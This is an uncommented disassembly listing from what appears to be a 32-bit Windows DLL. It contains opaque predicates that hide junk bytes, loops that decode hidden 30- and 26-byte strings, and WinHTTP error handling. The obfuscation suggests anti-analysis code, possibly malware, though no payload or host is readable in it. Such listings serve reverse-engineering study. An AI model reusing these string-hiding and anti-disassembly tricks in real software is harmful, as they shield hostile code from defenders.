sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f8a9a
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x74]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f8b22
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f8b22
mov dword [ebp - 0xa0], 3
jmp 0x100f8b98
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f8b98
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x183]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0xa0]
add dl, dl
mov cl, byte [ebp + eax - 0x183]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0xb4]
mov edx, dword [ebp - 0x5c]
mov byte [ebp + eax - 0x183], cl
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x1e
jb 0x100f7f60
mov edi, dword [ebp - 0xb8]
lea eax, [ebp - 0x183]
mov byte [ebp - 0x184], 1
push eax
push dword [ebp - 0xbc]
call fcn.100ecc10
add esp, 8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x100ed2d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push edi
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call edi
lea ecx, [ebp - 0x2c]
call fcn.100ed7e0
lea ecx, [ebp - 0x44]
call fcn.100ee020
push dword [ebp - 0xc4]
call edi
push dword [ebp - 0xd0]
call edi
jmp 0x100fb545
mov eax, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
movups xmm0, xmmword [0x10144818]
mov dword [ebp - 0xbc], eax
mov eax, dword [0x10144830]
mov dword [ebp - 0x18c], eax
mov ax, word [0x10144834]
movups xmmword [ebp - 0x1a4], xmm0
mov word [ebp - 0x188], ax
movq xmm0, qword [0x10144828]
mov al, byte [0x10144836]
movq qword [ebp - 0x194], xmm0
mov byte [ebp - 0x186], al
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 0x1e
jae 0x100f99ba
call fcn.100fb5a0
movsx edi, al
mov dword [ebp - 0x58], edi
call fcn.100fb5d0
movsx edx, al
mov dword [ebp - 0x5c], edx
call fcn.100fb5b0
movsx eax, al
mov dword [ebp - 0x50], eax
call fcn.100fb580
movsx esi, al
call fcn.100fb590
movsx eax, al
imul esi, eax
mov dword [ebp - 0x54], esi
call fcn.100fb5c0
movsd xmm0, qword [0x101448d8]
movsx eax, al
movsd qword [ebp - 0x74], xmm0
movsd xmm0, qword [0x101448d0]
mov dword [ebp - 0x60], eax
lea eax, [eax + esi*8]
movsd qword [ebp - 0x9c], xmm0
movsd xmm0, qword [0x101448c8]
mov dword [ebp - 0xc8], eax
lea eax, [esi + esi*8]
mov esi, dword [ebp - 0x50]
movsd qword [ebp - 0xdc], xmm0
movsd xmm0, qword [0x101448c0]
mov dword [ebp - 0x64], eax
movsd qword [ebp - 0xe4], xmm0
nop word [eax + eax]
movsx eax, byte [0x1017b440]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f8fa8
xor eax, eax
je 0x100f8d67
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8bac75], cl
mov al, byte [0xc86e0f66]
movsx eax, byte [0x1017b002]
xor edx, edx
mov esi, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movd xmm1, eax
movsx eax, byte [0x1017b001]
lea ecx, [esi + esi*8]
cvtdq2pd xmm1, xmm1
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x74]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f8dfb
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f8dfb
mov dword [ebp - 0x90], 3
lea eax, [edi + esi]
jmp 0x100f8e74
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f8e77
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f8e7c
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x74]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f8f04
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f8f04
mov dword [ebp - 0x94], 3
jmp 0x100f8f7a
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f8f7a
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x1a3]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x94]
add dl, dl
mov cl, byte [ebp + eax - 0x1a3]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x90]
mov byte [ebp + eax - 0x1a3], cl
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0xc8]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9735
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f923b
xor eax, eax
je 0x100f8ff2
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
pop esp
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x9c]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9088
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f9088
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x88], 3
add eax, edi
jmp 0x100f9104
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9107
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f910c
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x9c]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9197
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f9197
mov dword [ebp - 0x8c], 3
jmp 0x100f920d
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f920d
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x1a3]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x8c]
add dl, dl
mov cl, byte [ebp + eax - 0x1a3]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x88]
mov byte [ebp + eax - 0x1a3], cl
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
add ecx, ecx
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f949f
xor eax, eax
je 0x100f9260
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x4d89cf03]
cwde
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0x68], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xdc]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f92f0
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f92f0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x80], 3
add eax, edi
jmp 0x100f9369
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f936c
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f9371
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xdc]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9427
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f9427
mov dword [ebp - 0x84], 3
mov edi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x1a3]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x84]
add dl, dl
mov cl, byte [ebp + eax - 0x1a3]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x80]
mov byte [ebp + eax - 0x1a3], cl
jmp 0x100f94aa
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f93f4
mov edx, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edx + edi]
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x84], eax
jmp 0x100f93f7
mov eax, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add eax, edi
mov dword [ebp - 0x68], eax
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [esi*8]
sub ecx, esi
add ecx, edi
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f972f
mov eax, dword [ebp - 0x48]
sub eax, 0x7f
mov dword [ebp - 0xa4], eax
xor eax, eax
je 0x100f94ec
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xa4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f957b
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f957b
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x60]
mov dword [ebp - 0x78], 3
jmp 0x100f95f7
mov esi, dword [ebp - 0x54]
xor edx, edx
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f95fa
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
sub eax, 0x7f
mov dword [ebp - 0xa4], eax
xor eax, eax
je 0x100f960b
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xa4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9694
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f9694
mov dword [ebp - 0x7c], 3
jmp 0x100f9707
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9707
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x1a3]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x7c]
add dl, dl
mov cl, byte [ebp + eax - 0x1a3]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x78]
mov byte [ebp + eax - 0x1a3], cl
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 0x58]
movsx eax, byte [0x1017b440]
mov edx, dword [ebp - 0x5c]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f99a9
xor eax, eax
je 0x100f975d
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
pop esp
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xe4]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f97f3
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f97f3
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xb4], 3
add eax, edi
jmp 0x100f986f
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9872
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f9877
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xe4]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9902
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f9902
mov dword [ebp - 0xa0], 3
jmp 0x100f9978
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f9978
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x1a3]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0xa0]
add dl, dl
mov cl, byte [ebp + eax - 0x1a3]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0xb4]
mov edx, dword [ebp - 0x5c]
mov byte [ebp + eax - 0x1a3], cl
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x1e
jb 0x100f8d40
lea eax, [ebp - 0x1a3]
mov byte [ebp - 0x1a4], 1
push eax
push dword [ebp - 0xbc]
call fcn.100ecc10
add esp, 8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x100ed2d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [ebp - 0xc4]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call edi
push dword [ebp - 0xd0]
call edi
jmp 0x100fb545
mov eax, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
movups xmm0, xmmword [0x10144838]
mov dword [ebp - 0xbc], eax
mov ax, word [0x10144850]
movups xmmword [ebp - 0x164], xmm0
mov word [ebp - 0x14c], ax
movq xmm0, qword [0x10144848]
mov al, byte [0x10144852]
movq qword [ebp - 0x154], xmm0
mov byte [ebp - 0x14a], al
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 0x1a
jae 0x100fa772
call fcn.100fb5a0
movsx edi, al
mov dword [ebp - 0x58], edi
call fcn.100fb5d0
movsx edx, al
mov dword [ebp - 0x5c], edx
call fcn.100fb5b0
movsx eax, al
mov dword [ebp - 0x50], eax
call fcn.100fb580
movsx esi, al
call fcn.100fb590
movsx eax, al
imul esi, eax
mov dword [ebp - 0x54], esi
call fcn.100fb5c0
movsd xmm0, qword [0x101448d8]
movsx eax, al
movsd qword [ebp - 0x74], xmm0
movsd xmm0, qword [0x101448d0]
mov dword [ebp - 0x60], eax
lea eax, [eax + esi*8]
movsd qword [ebp - 0x9c], xmm0
